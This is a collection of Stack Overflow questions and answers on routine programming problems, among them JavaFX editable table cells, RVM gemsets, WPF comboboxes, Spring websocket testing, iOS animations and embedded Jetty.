ObservableList&lt;ObservableList&lt;String&gt;&gt; dummyData = FXCollections.observableArrayList(); ObservableList&lt;String&gt; firstRow = FXCollections.observableArrayList("Jack", "Smith"); dummyData.add(firstRow); ObservableList&lt;String&gt; secondRow = FXCollections.observableArrayList("Peter", "Smith"); dummyData.add(secondRow); TableColumn&lt;ObservableList&lt;String&gt;, String&gt; firstCol = new TableColumn&lt;ObservableList&lt;String&gt;, String&gt;( "First name"); firstCol.setCellValueFactory( (TableColumn.CellDataFeatures&lt;ObservableList&lt;String&gt;, String&gt; param) -&gt; new SimpleStringProperty( param.getValue().get(0))); TableColumn&lt;ObservableList&lt;String&gt;, String&gt; secondCol = new TableColumn&lt;ObservableList&lt;String&gt;, String&gt;( "Last name"); secondCol.setCellValueFactory( (TableColumn.CellDataFeatures&lt;ObservableList&lt;String&gt;, String&gt; param) -&gt; new SimpleStringProperty( param.getValue().get(1))); secondCol.setCellFactory(cell -&gt; new EditableCell()); tableView.getColumns().addAll(firstCol, secondCol); tableView.getItems().addAll(dummyData); Scene scene = new Scene(tableView); stage.setScene(scene); stage.show(); } public static void main(String[] args) { launch(); } class EditableCell extends TableCell&lt;ObservableList&lt;String&gt;, String&gt; { private TextField textfield = new TextField(); // When the user presses the enter button the edit is saved. public EditableCell() { setOnKeyPressed(e -&gt; { if (e.getCode().equals(KeyCode.ENTER)) { commitEdit(textfield.getText()); } }); } @Override public void updateItem(String item, boolean empty) { super.updateItem(item, empty); if (isEmpty()) { setText(null); setGraphic(null); } else { if (isEditing()) { textfield.setText(item); setGraphic(textfield); setText(null); } else { setText(item); setGraphic(null); } } } @Override public void startEdit() { super.startEdit(); textfield.setText(getItem()); setGraphic(textfield); setText(null); } @Override public void cancelEdit() { super.cancelEdit(); setGraphic(null); setText(getItem()); } @Override public void commitEdit(String value) { super.commitEdit(value); // This works. But gives me a "Discouraged access: The type 'ObservableListWrapper&lt;String&gt;' is not API (restriction on required library 'C:\Program Files\Java\jre1.8.0_60\lib\ext\jfxrt.jar')". ObservableListWrapper&lt;String&gt; ob = ((ObservableListWrapper&lt;String&gt;) this.getTableRow().getItem()); ob.set(1, value); // I had to put this in a Platform.runLater(), otherwise the textfield remained open. Platform.runLater(() -&gt; { setText(value); setGraphic(null); }); } } } </code></pre> <p>And this program works OK. The cell is edited when you press the enter button. But there are two main issues with this:</p> <ol> <li><p>Once I've pressed enter and a cell has been edited. I can't edit it again by clicking on it. I need to press another row to be able to edit it again. Setting to focus on the parent of the row didn't do the trick.</p></li> <li><p>The code inside <code>commitEdit()</code> works. But it is ugly and using a <code>ObservableListWrapper</code> gives me the warning "Discouraged access: The type 'ObservableListWrapper' is not API (restriction on required library 'C:\Program Files\Java\jre1.8.0_60\lib\ext\jfxrt.jar')". Also the cell index is hard coded, which wont work if I use this in many different columns.</p></li> </ol> <p>None of the issues mentioned above is acceptable.</p> <p>The final implementation must support restriction of the input in the textfield. As far as I understand it this means that I need to have access to the <code>TextField</code> object displayed in the cell, as in my current implementation.</p>
468688	0	 <p>Update the class to be a partial class (might already be from the code generation) and then create another code file in your solution which won't be overridden. In there create a partial class of the same name (in the same namespace) as the generated code and add the property to this. This will have the benefit of not being overridden when the web service code is regenerated.</p> <p>When you call the generated code class you then should be able to access the property which you have added to the other part of the partial class.</p> <p>Hope this helps.</p>
10988142	0	 <p>If you run <code>gem list -d rails</code> you'll get an output similar to this.</p> <pre><code>*** LOCAL GEMS *** rails (3.2.3) Author: David Heinemeier Hansson Homepage: http://www.rubyonrails.org Installed at: /Users/bjedrocha/.rvm/gems/ruby-1.9.3-p194@jwb Full-stack web application framework. </code></pre> <p>Note the <code>installed at</code> directive. The part after the <code>@</code> indicates the gemset. So if you've installed Rails without first creating and switching to a named gemset, chances are that it is installed under the <code>@global</code> gemset (a default for RVM). If this is your case, I would switch into the global gemset and uninstall Rails. Once its uninstalled, you can switch back to your named gemset and it will use the Rails version installed in this gemset</p> <pre><code>rvm use 1.9.3@global gem uninstall rails rvm use 1.9.3@mygemset </code></pre> <p>Hope this helps</p>
9076318	0	Double-click ad unit lookup for div failed (DFP error)? <p>Just added double-click DFP ads to a friend's site. Realized that only one of four ads are appearing. Although the status of all 4 ads are "active", 3 are not appearing.</p> <p>I ran the DFP debugger and got this output:</p> <pre><code>Ad unit lookup for div div-gpt-ad-1327994622973-0 failed. Div div-gpt-ad-1327994622973-0 is not mapped to a known ad unit. </code></pre> <p>It doesn't appear to be a javascript issue, but the code for these ads was taken directly from the "generated tags" and these units are active. This occurs in multiple browsers.</p> <p>Could this be a caching issue? How can a cache buster be implemented for ads only? Thanks.</p>
9995114	0	how to make browsers to offer password and email store after log in <p>What shall I modify on this code to make it clear to the browsers that "you can save this fields". (For that users who don't want to enter them any time)</p> <p>(browser info and resolution are hidden fields for statistics)</p> <pre><code>&lt;form id='log_in' action='/_fn/log_in.php' method=post&gt; &lt;ul id='m1_bal'&gt; &lt;!--&lt;li&gt;&lt;a HREF='/print' TITLE='belépés' tabindex=3&gt;&lt;img WIDTH=32 HEIGHT=32 ALT='' SRC='/images/menu1/nyil.png'&gt;&lt;/a&gt;&lt;/li&gt;--&gt; &lt;li&gt;&lt;input type=submit value='belépés' tabindex=3&gt;&lt;/li&gt; &lt;li&gt;&lt;!--[if IE]&gt;jelszó:&lt;![endif]--&gt;&lt;input name='password' tabindex=2 type=password placeholder='jelszó'&gt;&lt;/li&gt; &lt;li&gt;&lt;!--[if IE]&gt;email:&lt;![endif]--&gt;&lt;input name='email' tabindex=1 type=text placeholder='email'&gt;&lt;/li&gt; &lt;input name='felbontas' type=hidden&gt; &lt;input name='bongeszo' type=hidden&gt; &lt;input name='href' type=hidden&gt; &lt;/ul&gt; &lt;/form&gt; </code></pre> <p>The javascript code:</p> <pre><code>$('#log_in').submit(function(e){ //browser info var b = "?"; if( $.browser.msie)b = "IE"; if( $.browser.webkit)b = "Webkit";//Chrome/Safari if( $.browser.opera)b = "Opera"; if( $.browser.mozilla)b = "Mozilla"; var bongeszo = b+" "+$.browser.version; //resolution var felbontas = $(document).width()+"x"+$(document).height(); /* METHOD 2 $(this).find('input[name=bongeszo]').val(bongeszo); $(this).find('input[name=felbontas]').val(felbontas); $(this).find('input[name=href]').val(window.location.href); */ e.preventDefault(); $.post($(this).attr('action'),{ email: $(this).find('input[name=email]').val(), password: $(this).find('input[name=password]').val(), felbontás: felbontas, böngésző: bongeszo },function(answer){ if(answer=="1")window.location.reload();else alert(answer); }); }); </code></pre> <p>If you say: dont use ajax, I tell, that I have tired it without it too. See: METHOD 2</p>
28840717	0	 <p>I only see two options here. Unfortunately, one of them isnt feasible and the other one doesnt exactly fit your criterions. Let's see:</p> <ol> <li>Write a PDF interpretor. Obviously, this cannot be done easily, but it is the only way to get rid of files. Why? Because typical applications are not designed to receive some .Net stream or byte array, they take file path and read them the way they want.</li> <li>Add some third party PDF reader. <a href="http://stackoverflow.com/questions/549504/net-open-pdf-in-winform-without-external-dependencies">This Q/A</a> should cover what you need. As mentionned, this solution wont be a perfect fit since it will need you to at least save the file to a temporary location. Let's say you use Acrobat or Foxit, you cannot pass a stream directly, they need a file path.</li> </ol> <p>EDIT: Why do you want to avoid writing a file? If you draw the big picture, we might be able to figure a way arround your problem.</p>
9127044	0	NSMutableArray as instance variable alway null <p>After many hours wasted, I officially turn to the experts for help!</p> <p>My problem lies with using a NSMutableArray as an instance variable, and trying to both add objects and return the array in a method in my class. I am obviously doing something fundamentally wrong and would be grateful for help...I have already tried all the suggestions from other similar questions on stackoverflow, read apples documentation, and basically all combinations of trial and error coding I can think of. The mutable array just alway returns (null). I've even tried creating properties for them, but still the array returns (null) and then I also am running into memory management problems due to the retain while setting the property, and the init in the init method for the class.</p> <p>Here is what I am trying to do:</p> <p>1) Loop through a series of UISwitches and if they are 'switched on', add a string to the NSMutableArray</p> <p>2) Assign this mutable array to another array in another method</p> <p>Any help much appreciated,</p> <p>Andy</p> <p>And for some code...</p> <p>fruitsViewController.h</p> <pre><code>#import &lt;UIKit/UIKit.h&gt; @interface fruitsViewController : UIViewController { NSMutableArray *fruitsArr; UISwitch *appleSwitch; UISwitch *orangeSwitch; } @property (nonatomic,retain) NSMutableArray *fruitsArr; // ADDED ON EDIT @property (nonatomic,retain) IBOutlet UISwitch *appleSwitch; @property (nonatomic,retain) IBOutlet UISwitch *orangeSwitch; - (IBAction)submitButtonPressed:(id)sender; @end </code></pre> <p>fruitsViewController.m</p> <pre><code>#import "fruitsViewController.h" @implementation fruitsViewController @synthesize fruitsArr; // ADDED ON EDIT @synthesize appleSwitch, orangeSwitch; /* COMMENTED OUT ON EDIT -(id)init { if (self = [super init]) { // Allocate memory and initialize the fruits mutable array fruitsArr = [[NSMutableArray alloc] init]; } return self; } */ // VIEW DID LOAD ADDED ON EDIT - (void)viewDidLoad { self.fruitsArr = [[NSMutableArray alloc] init]; } - (void)viewDidUnload { self.fruitsArr = nil; self.appleSwitch = nil; self.orangeSwitch = nil; } - (void)dealloc { [fruitsArr release]; [appleSwitch release]; [orangeSwitch release]; [super dealloc]; } - (IBAction)submitButtonPressed:(id)sender { if ([self.appleSwitch isOn]) { [self.fruitsArr addObject:@"Apple"; // 'self.' ADDED ON EDIT } if ([self.orangeSwitch isOn]) { [self.fruitsArr addObject:@"Orange"; // 'self.' ADDED ON EDIT } NSLog(@"%@",self.fruitsArr); // Why is this returning (null) even if the switches are on?! [fruitsArr addObject:@"Hello World"; NSLog(@"%@",self.fruitsArr); // Even trying to add an object outside the if statement returns (null) } @end </code></pre>
20969866	0	 <p>This way you can set the fontSize and can handle it in just one <code>class</code>.</p> <h3>1. Created an <code>extension</code> of <code>UIButton</code> and added following code:</h3> <pre><code>- (void)awakeFromNib{ [super awakeFromNib]; [self setTitleColor:[UIColor whiteColor] forState:UIControlStateNormal]; [self.titleLabel setFont:[UIFont fontWithName:@"font" size:self.titleLabel.font.pointSize]]; [self setContentHorizontalAlignment:UIControlContentHorizontalAlignmentCenter]; } </code></pre> <h3>2.1 Create <code>UIButton</code> inside Code</h3> <p>Now if you create a <code>UIButton</code> inside your code, <code>#import</code> the <code>extension of your</code>UIButton` and create the Button. </p> <h3>2.2 Create Button in <code>Interface Builder</code></h3> <p>If you create the <code>UIButton</code> inside the <code>Interface Builder</code>, select the <code>UIButton</code>, go to the <code>Identity Inspector</code> and add the created <code>extension</code> as <code>class</code> for the <code>UIButton</code>.</p>
1680000	0	 <p>Maybe the answers to this may help you:</p> <ul> <li><a href="http://stackoverflow.com/questions/177856/how-do-i-trap-ctrl-c-in-a-c-console-app">How do I trap ctrl-c in a C# console app</a></li> </ul>
9415849	0	 <p>Use double quotes to allow bash to perform variable substitution. Single quotes disable bash variable substitution mechanism.</p> <pre><code>ps -clx | grep "$1" | awk "{print $2}" | head -1 </code></pre>
36304312	0	 <p>Jost Change Api level 22 or 23.</p> <p><a href="https://i.stack.imgur.com/jHxzA.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/jHxzA.png" alt="enter image description here"></a></p>
24209681	0	 <p>If you would tell us that your <code>dbcursor</code> is a <code>SSCursor</code> or a <code>SSDictCursor</code>, we could tell you that this is normal behaviour: under the hood, these cursors work with <code>use_result()</code> instead of <code>store_result()</code>, and here the number of affected rows is only known at the end, after all rows have been retrieved.</p>
16167228	0	 <p>setColumnWidth(-1) should activate auto-scaling. Though this is usually the default (even with BeanItemContainers, so I'm surprised you aren't seeing that behaviour automatically. A related concept, possibly worth you pursuing is setSizeUndefined() which is a method of the Sizeable interface.</p>
38099669	0	How to hide items of a combobox in WPF <p>Is there a way to hide items of a combobox in WPF? In my usercontrol there is a ListBox with checkbox-items bound to an ObservableCollection and a datagrid with a combobox.</p> <pre><code>&lt;ListBox x:Name="AvailableAttributes" Grid.Row="0" Grid.Column="2" SelectionMode="Single" &gt; &lt;ListBox.ItemContainerStyle&gt; &lt;Style TargetType="{x:Type ListBoxItem}"&gt; &lt;Setter Property="IsSelected" Value="{Binding IsSelected, Mode=OneWay}"/&gt; &lt;/Style&gt; &lt;/ListBox.ItemContainerStyle&gt; &lt;ListBox.ItemTemplate&gt; &lt;DataTemplate&gt; &lt;CheckBox Content="{Binding Name}" IsChecked="{Binding IsSelected}"/&gt; &lt;/DataTemplate&gt; &lt;/ListBox.ItemTemplate&gt; &lt;/ListBox&gt; ... &lt;DataGrid Name="datagrid" AutoGenerateColumns="False" &gt; &lt;DataGrid.Columns&gt; &lt;DataGridTextColumn Binding="{Binding Name}" /&gt; &lt;DataGridComboBoxColumn SelectedValueBinding="{Binding CBID}" DisplayMemberPath="Name" SelectedValuePath="ID"&gt; &lt;DataGridComboBoxColumn.ElementStyle&gt; &lt;Style TargetType="{x:Type ComboBox}"&gt; &lt;Setter Property="ItemsSource" Value="{Binding Path=CBItems, RelativeSource={RelativeSource AncestorType={x:Type UserControl}}}" /&gt; &lt;/Style&gt; &lt;/DataGridComboBoxColumn.ElementStyle&gt; &lt;DataGridComboBoxColumn.EditingElementStyle&gt; &lt;Style TargetType="{x:Type ComboBox}"&gt; &lt;Setter Property="ItemsSource" Value="{Binding Path=CBItems, RelativeSource={RelativeSource AncestorType={x:Type UserControl}}}" /&gt; &lt;/Style&gt; &lt;/DataGridComboBoxColumn.EditingElementStyle&gt; &lt;/DataGridComboBoxColumn&gt; &lt;/DataGrid.Columns&gt; &lt;/DataGrid&gt; </code></pre> <p>I used <a href="http://stackoverflow.com/questions/5409259/binding-itemssource-of-a-comboboxcolumn-in-wpf-datagrid">this solution</a> to manage the combobox items and added the property 'IsSelected'</p> <pre><code>public class GridItem { public string Name { get; set; } public int CBID { get; set; } } public class CBItem { public int ID { get; set; } public string Name { get; set; } public bool IsSelected { get; set; } } </code></pre> <p>Now I want to use the 'IsSelected' property to hide/show the item in the combobox. Can someone tell me how can I achieve this?</p>
17521655	0	 <p>Your best choice is really to fake all "not interesting" schemas. </p> <p>Or you can add your own ErrorListener and carefully analyze the errors to determine the schema they relate to. But this might not be full proof since there can be "other schema"-related errors that stop the validation.</p>
13876330	0	How to insert string in edit control <p>I'm going to add string at runtime in edit control,I've tried with different method and strategies but it won't inserted or if inserted but not displayed in edit control!!! How to make this!please give me solution. Thanks in advance!!</p>
16410879	0	wpf application could not be launched in client machine <p>I have a program developed on WPF. I'm using Blend, <code>Radcontrol</code> to do some customization on <strong>UI</strong>. The application built and run well on developer machine with <code>VS2012</code>, but could not be launched on client machine.</p> <p><strong>The application crashed on client machine and showed the error:</strong></p> <pre><code>Problem signature: Problem Event Name: CLR20r3 Problem Signature 01: dvrserver.exe Problem Signature 02: 1.0.0.0 Problem Signature 03: 517cfe34 Problem Signature 04: PresentationFramework Problem Signature 05: 4.0.30319.17929 Problem Signature 06: 4ffa7956 Problem Signature 07: 7fc6 Problem Signature 08: ee Problem Signature 09: System.Windows.Markup.XamlParse OS Version: 6.1.7601.2.1.0.256.1 Locale ID: 1033 Additional Information 1: 0a9e Additional Information 2: 0a9e372d3b4ad19135b953a78882e789 Additional Information 3: 0a9e Additional Information 4: 0a9e372d3b4ad19135b953a78882e789 </code></pre> <p>I've already installed <code>Blend</code>, <code>Radcontrol</code> to client machine but the problem still there. I don't think we need <code>VS2012</code> in client machine as developer machine. What should I proceed to solve my issue?</p>
37341768	0	Java + Hibernate: Using a Formula on an embedded class <p>Can I use the <code>@Formula</code> annotation on an embedded class which maps the resultset of the query in the formula?</p> <p><strong>Entity</strong></p> <pre><code>@Entity(name = "TABLE") public class SpecialEntity { ... @Embedded @Formula("SELECT PATH, SIZE FROM TABLE WHERE ID = ID') private List&lt;EmbedProperties&gt; properties; } </code></pre> <p><strong>Embeddable</strong></p> <pre><code>@Embeddable public class EmbedProperties { @Column("PATH") private String id; @Column("SIZE) private Long size; } </code></pre> <p>If not, what are the alternatives?</p>
15975716	0	 <p>I solved this problem without using OData. There is a URL available that will return just the binary data. So with this URL I can use other Java classes to stream the data directly to disk.</p> <p>So with this URL:</p> <blockquote> <p>www.example.com/OData.svc/File/Data/$value</p> </blockquote> <p>(which returns just the binary data)</p> <p>We can create a URL connection and download it:</p> <pre><code>URL url = new URL(webPage); HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection(); File file = new File(dir, fileName);//need to create a file based on your storage paths FileOutputStream out = new FileOutputStream(file); InputStream in = urlConnection.getInputStream(); byte[] buffer = new byte[1024]; int i = 0; while ((i = in.read(buffer)) &gt; 0) { out.write(buffer, 0, i); } out.flush(); out.close(); in.close(); </code></pre>
557674	0	 <p><a href="http://www.firebirdsql.org/" rel="nofollow noreferrer">Firebird embedded</a></p> <p>About:</p> <blockquote> <p>Firebird is an open source relational database offering many ANSI SQL-99 features that runs on Linux, Windows, and a variety of Unix platforms. Firebird offers excellent concurrency, high performance, powerful language support for stored procedures and triggers.</p> </blockquote>
26414114	0	Does JAVA have API to access the login history from sql server management studio? <p>I want to get the historic server URL that users log into sql server from sql server management studio. Is there JAVA API to implement it? The .NET has it. </p>
10733641	0	What is a .pem file and How to use it? <p>I am designing a new chrome extension and when I package it then I get 2 file: a <strong>.crx</strong> file and a <strong>.pem</strong> file.</p> <p>I want to distribuite my extension on my server ( shared ) and on Chrome webstore.</p> <p>Could you tell me what is a pem file and how to use it ?</p> <p>I can't find documentation about it.</p>
30265725	0	 <p>I might be wrong but I'm preety sure that its not possible to decrypted hashed strings. Its the reason why sha256 or sha512 are used to store passwords in databases. </p>
23910232	0	 <p>As I see it, you have a few options, depending on exactly what you want to achieve in your tests now, and what you might want to be able to do in the future.</p> <p>1) If your test does not need the websocket configuration at all, change it to point at a custom context configuration that does not include the <code>WebSocketConfig</code>.</p> <p>2) If your test needs the websocket config, but you don't need the broker relay (I can't see why it would be required in a test), you could add another Configuration for testing that uses <code>registry.enableSimpleBroker("/topic", "/queue/")</code> instead of <code>enableStompBrokerRelay</code>. Then there will be no TCP connection to the broker. The obvious disadvantage with this approach is that you are not testing your actual config, and that you are duplicating the destination prefixes.</p> <p>3) Run an embedded STOMP broker for your tests. I'm not 100% certain such a thing exists - I know ActiveMQ has STOMP support and some support for <a href="http://activemq.apache.org/vm-transport-reference.html" rel="nofollow">running inside a VM</a>, but I haven't tried this with STOMP. If possible, the advantage of this approach is that your tests would be testing something very close to the real code.</p> <p>4) You could customise the STOMP broker relay to such an extent that you have full control over what your application receives from the broker. You can customise the <a href="https://github.com/spring-projects/spring-framework/blob/master/spring-messaging/src/main/java/org/springframework/messaging/simp/stomp/StompBrokerRelayMessageHandler.java" rel="nofollow"><code>StompBrokerRelayMessageHandler</code></a> which manages the connection to the relay broker by adding a Configuration class that extends <a href="https://github.com/spring-projects/spring-framework/blob/master/spring-websocket/src/main/java/org/springframework/web/socket/config/annotation/DelegatingWebSocketMessageBrokerConfiguration.java" rel="nofollow"><code>DelegatingWebSocketMessageBrokerConfiguration</code></a> in order to override the <code>stompBrokerRelayMessageHandler()</code> method. For example, you can set the TCP client it uses to your own implementation of <code>TcpOperations</code>. Below is an example TCP client that simply does nothing, i.e. makes the Handler think it is connected, but cannot receive or send messages.</p> <pre><code>@Override public AbstractBrokerMessageHandler stompBrokerRelayMessageHandler() { AbstractBrokerMessageHandler handler = super.stompBrokerRelayMessageHandler(); if (handler instanceof StompBrokerRelayMessageHandler) { StompBrokerRelayMessageHandler stompHandler = (StompBrokerRelayMessageHandler) handler; stompHandler.setTcpClient(new TcpOperations&lt;byte[]&gt;() { @Override public ListenableFuture&lt;Void&gt; connect(TcpConnectionHandler&lt;byte[]&gt; connectionHandler) { return new CompletedListenableFuture&lt;&gt;(null); } @Override public ListenableFuture&lt;Void&gt; connect(TcpConnectionHandler&lt;byte[]&gt; connectionHandler, ReconnectStrategy reconnectStrategy) { return new CompletedListenableFuture&lt;&gt;(null); } @Override public ListenableFuture&lt;Void&gt; shutdown() { return new CompletedListenableFuture&lt;&gt;(null); } }); } return handler; } </code></pre> <p>Note that <code>CompletedListenableFuture</code> is just an implementation of <code>ListenableFuture</code> that is done after construction, and immediately calls any callbacks passed to <code>addCallback</code> with the value passed into the constructor.</p> <p>The point here is that you can easily customise the exact behaviour of the broker relay components, so you can control them better in your tests. I am not aware of any built-in support to make this kind of testing easier, but then again the websocket support is still pretty new. I would suggest that you look at Rossen Stoyanchev's excellent example project <a href="https://github.com/rstoyanchev/spring-websocket-portfolio" rel="nofollow"><code>spring-websocket-portfolio</code></a>, if you haven't done so already, as it includes several examples of how to test the websocket configuration at different levels (just one controller, loading the full context, running an embedded server, ...). Hopefully this is also helpful for deciding how you want to test your application, and what you might need to customise to do it.</p>
15831540	0	UIView animations canceling each other <p>I have a problem when playing multiple UIView animation blocks.</p> <p>What I have is a game with a lot of buttons, when you press a button it spawns an UILabel which animates to the top of the screen where is gets "added" to the total point amount, this is done by using 3 nested blocks. This works well an lets me spawn as many point labels as possible with animations on them.</p> <pre><code> //setup the label UILabel *pointIndicator = [[UILabel alloc]initWithFrame:CGRectMake(button.button.frame.origin.x, button.button.frame.origin.y, 60, 30)]; pointIndicator.backgroundColor = [UIColor clearColor]; pointIndicator.font = [UIFont boldSystemFontOfSize:25]; pointIndicator.alpha = 0; pointIndicator.layer.shadowOffset = CGSizeMake(1.0f, 1.0f); pointIndicator.layer.shadowOpacity = 0.6; pointIndicator.layer.shadowRadius = 1; [pointIndicators addObject:pointIndicator]; [self.view addSubview:pointIndicator]; CGPoint scoreLabelPosition = [self.view convertPoint:self.totalScoreLabel.frame.origin fromView:self.totalScoreLabel.superview]; CGSize scoreLabelSize = [self.totalScoreLabel.text sizeWithFont:self.totalScoreLabel.font]; [UILabel animateWithDuration:0.3 delay:0 options:UIViewAnimationCurveEaseIn animations:^{ //Make label appear and move it above button CGRect frame = pointIndicator.frame; frame.origin.y -= 30; pointIndicator.frame = frame; pointIndicator.alpha = 1; }completion:^(BOOL finished){ [UILabel animateWithDuration:0.4 delay:0 options:UIViewAnimationCurveEaseInOut animations:^{ //Move the label next to the score label NSInteger YPosition = 0; if ([UIDevice currentDevice].userInterfaceIdiom == UIUserInterfaceIdiomPad){ YPosition = 15; }else{ YPosition = 2; } CGRect frame = pointIndicator.frame; frame.origin.x = scoreLabelPosition.x + self.totalScoreLabel.frame.size.width/2 + scoreLabelSize.width/2 + 5; frame.origin.y = scoreLabelPosition.y - self.totalScoreLabel.frame.size.height/2 + YPosition; pointIndicator.frame = frame; }completion:^(BOOL finished){ [UILabel animateWithDuration:0.5 animations:^{ pointIndicator.alpha = 0; }completion:^(BOOL finished){ //Animate point label to increase a bit in size CABasicAnimation *pointAnim = [CABasicAnimation animationWithKeyPath:@"transform"]; pointAnim.timingFunction = [CAMediaTimingFunction functionWithName:kCAMediaTimingFunctionEaseInEaseOut]; pointAnim.duration = 0.1; pointAnim.repeatCount = 1; pointAnim.autoreverses = YES; pointAnim.removedOnCompletion = YES; pointAnim.toValue = [NSValue valueWithCATransform3D:CATransform3DMakeScale(1.5, 1.5, 1.0)]; [self.totalScoreLabel.layer addAnimation:pointAnim forKey:nil]; [pointIndicator removeFromSuperview]; [pointIndicators removeObject:pointIndicator]; }]; }]; }]; </code></pre> <p>However, when the game is ended all the buttons animate out of the screen and an image view grows in size out of the middle, each are using 1 animation block.</p> <p>The problem is that if an UILabel is animating across the screen at the same time as the game ends it cancels the button animation AND the growing image animation. If no UILabels are spawned everything plays as it should. I tried to cancel and remove all the point labels before playing the other animations, but with no luck. It only seems to work if all the previous animations have been completed normally in advance. This is how I remove them:</p> <pre><code>for(UIView *pointView in pointIndicators){ [pointView.layer removeAllAnimations]; [pointView removeFromSuperview]; } [pointIndicators removeAllObjects]; [self.totalScoreLabel.layer removeAllAnimations]; </code></pre> <p>all the views which are animated are subviews of the same UIView. I noticed that if I make the point labels subviews of the buttons all the animations can play at the same time.</p> <p>I cant seem to figure out this behavior, is there some sort of conflict between the animations?</p>
17106749	0	 <p>Well, actually you can. I don't care about portability, but in VS you can do it. Assuming that we are building 32-bit code with VS, the first 4 bytes at the objects address is the vtable address. By looking at the header files we know the order of methods in the vtable.</p> <p>Example:</p> <pre><code>class Base { public: virtual void printMessage() { std::cout &lt;&lt; "Base::printMessage()" &lt;&lt; std::endl; } }; class Derived : public Base { public: void printMessage() { std::cout &lt;&lt; "Derived::printMessage()" &lt;&lt; std::endl; } }; int main(int argc, char* argv[]) { Derived d; unsigned int vtblAddress = *(unsigned int*)&amp;d; typedef void(*pFun)(void*); pFun printFun = (pFun)(*(unsigned int*)(vtblAddress)); printFun(&amp;d); return 0; } </code></pre> <p>P.S. I'm not going to ask why are you doing it, but here you have one option :-)</p>
19210671	0	Android custom CursorAdapter with AsyncTask <p>I'm trying to build a list with an image that is taken from the device and a text. It turns out that taking images from the phone that was from the phone's camera is a task that takes a while so I'm trying to make it as fast as possible so the user experience won't get slower. All I got from this is that it looks like all the images are loaded in one <code>ImageView</code> and than the images spread to all the other <code>ImageViews</code> (I'm not completely sure that my implementation of the <code>ViewHolder</code> technique and Custom <code>CursorAdapter</code> is correct).</p> <pre><code>public class MyCustomCurserAdapter extends CursorAdapter { static class ViewHolder { public TextView nameText; public ImageView imageThumbnail; } Cursor cursor; public MyCustomCurserAdapter(Context context, Cursor c, int flags) { super(context, c, flags); // TODO Auto-generated constructor stub } @Override public void bindView(View view, Context arg1, Cursor cursor) { ViewHolder holder = (ViewHolder)view.getTag(); int pathCol = cursor.getColumnIndex(NewPicSQLiteHelper.COLUMN_PATH); String imageInSD = cursor.getString(pathCol); File imgFile = new File(imageInSD); if(imgFile.exists()){ int nameCol = cursor.getColumnIndex(NewPicSQLiteHelper.COLUMN_PIC_NAME); String name = cursor.getString(nameCol); if (name != null) holder.nameText.setText(name); ImageTask task = new ImageTask(holder.imageThumbnail); task.execute(imgFile); } } @Override public View newView(Context arg0, Cursor cur, ViewGroup parent) { LayoutInflater inflater = LayoutInflater.from(parent.getContext()); View view = inflater.inflate(R.layout.new_pic_item, parent, false); ViewHolder holder = new ViewHolder(); holder = new ViewHolder(); holder.nameText = (TextView) view.findViewById(R.id.pic_name_entry); holder.imageThumbnail = (ImageView) view.findViewById(R.id.pic_thumbnail); // The tag can be any Object, this just happens to be the ViewHolder view.setTag(holder); return view; } private class ImageTask extends AsyncTask&lt;File, Void, Bitmap&gt;{ private final WeakReference &lt;ImageView&gt; imageViewReference; public ImageTask(ImageView imageView) { imageViewReference = new WeakReference &lt;ImageView&gt; (imageView); } @Override protected Bitmap doInBackground(File... params) { String path = params[0].getAbsolutePath(); return decodeSampledBitmapFromResource(path,75,75); } @Override protected void onPostExecute(Bitmap result) { if (imageViewReference != null) { ImageView imageView = imageViewReference.get(); if (imageView != null) { if (result != null) { imageView.setImageBitmap(result); imageView.setVisibility(ImageView.VISIBLE); } else { imageView.setVisibility(ImageView.INVISIBLE); } } } } private Bitmap decodeSampledBitmapFromResource(String orgImagePath, int reqWidth, int reqHeight) { } private int calculateInSampleSize(BitmapFactory.Options options, int reqWidth, int reqHeight) { } } </code></pre>
31039787	0	How to enable authorization with the Spring Batch Admin UI <p>I'm integrating the Spring Batch Admin UI into my batch-jobs application. The authentication to the UI is easy. But I have another requirement to ONLY authorize some users to START/STOP jobs. Anyone with feedback on how to accomplish this will be greatly appreciated.</p>
15879798	0	 <p>When you allocate memory with <code>malloc</code> (or similar functions) it returns a <em>pointer</em>. You can't assign this pointer to an array. In other words, you can't make an array point to something else once created.</p> <p>What you should do is declare the array as a pointer instead.</p>
32085756	0	 <p>Try <a href="https://cocoapods.org/pods/MZFormSheetPresentationController" rel="nofollow">MZFormSheetPresentationController</a> by m1entus. </p> <p>He provides a number of examples on GitHub and CocoaPods and they're ready to use.</p>
4803259	0	Embedded Jetty handles each message twice <p>I'm trying to use Jetty in the simplest way possible. I have started by running the walkthrough from the Jetty@Eclipse documentation, which basically looks like that:</p> <pre><code>public class Main { public class HelloHandler extends AbstractHandler { public void handle(String target,Request baseRequest,HttpServletRequest request,HttpServletResponse response) throws IOException, ServletException { response.setContentType("text/html;charset=utf-8"); response.setStatus(HttpServletResponse.SC_OK); baseRequest.setHandled(true); response.getWriter().println("&lt;h1&gt;Hello World&lt;/h1&gt;"); } } private void run() throws Exception { Server server = new Server(8080); server.setHandler(new HelloHandler()); server.start(); server.join(); } public static void main(String[] args) throws Exception { Main m = new Main(); m.run(); } } </code></pre> <p>The problem is that <strong>the handler gets called twice on every request</strong>. I'm using Chrome with <em>http://localhost:8080</em> to simulate, if that makes any difference. Jetty is embedded as two jars:</p> <ul> <li>jetty-all-7.0.2.v20100331.jar</li> <li>servlet-api-2.5.jar</li> </ul> <p>What am I doing wrong/missing here?</p>
25675055	0	 <p>You probably will have to do something like this:</p> <pre><code>$featureList = array(); foreach(Petition::getFeaturedPetitions() as $petition) { $featureList[$petition-&gt;id] = 'before '.$petition-&gt;call_to_action.'petition'; } </code></pre>
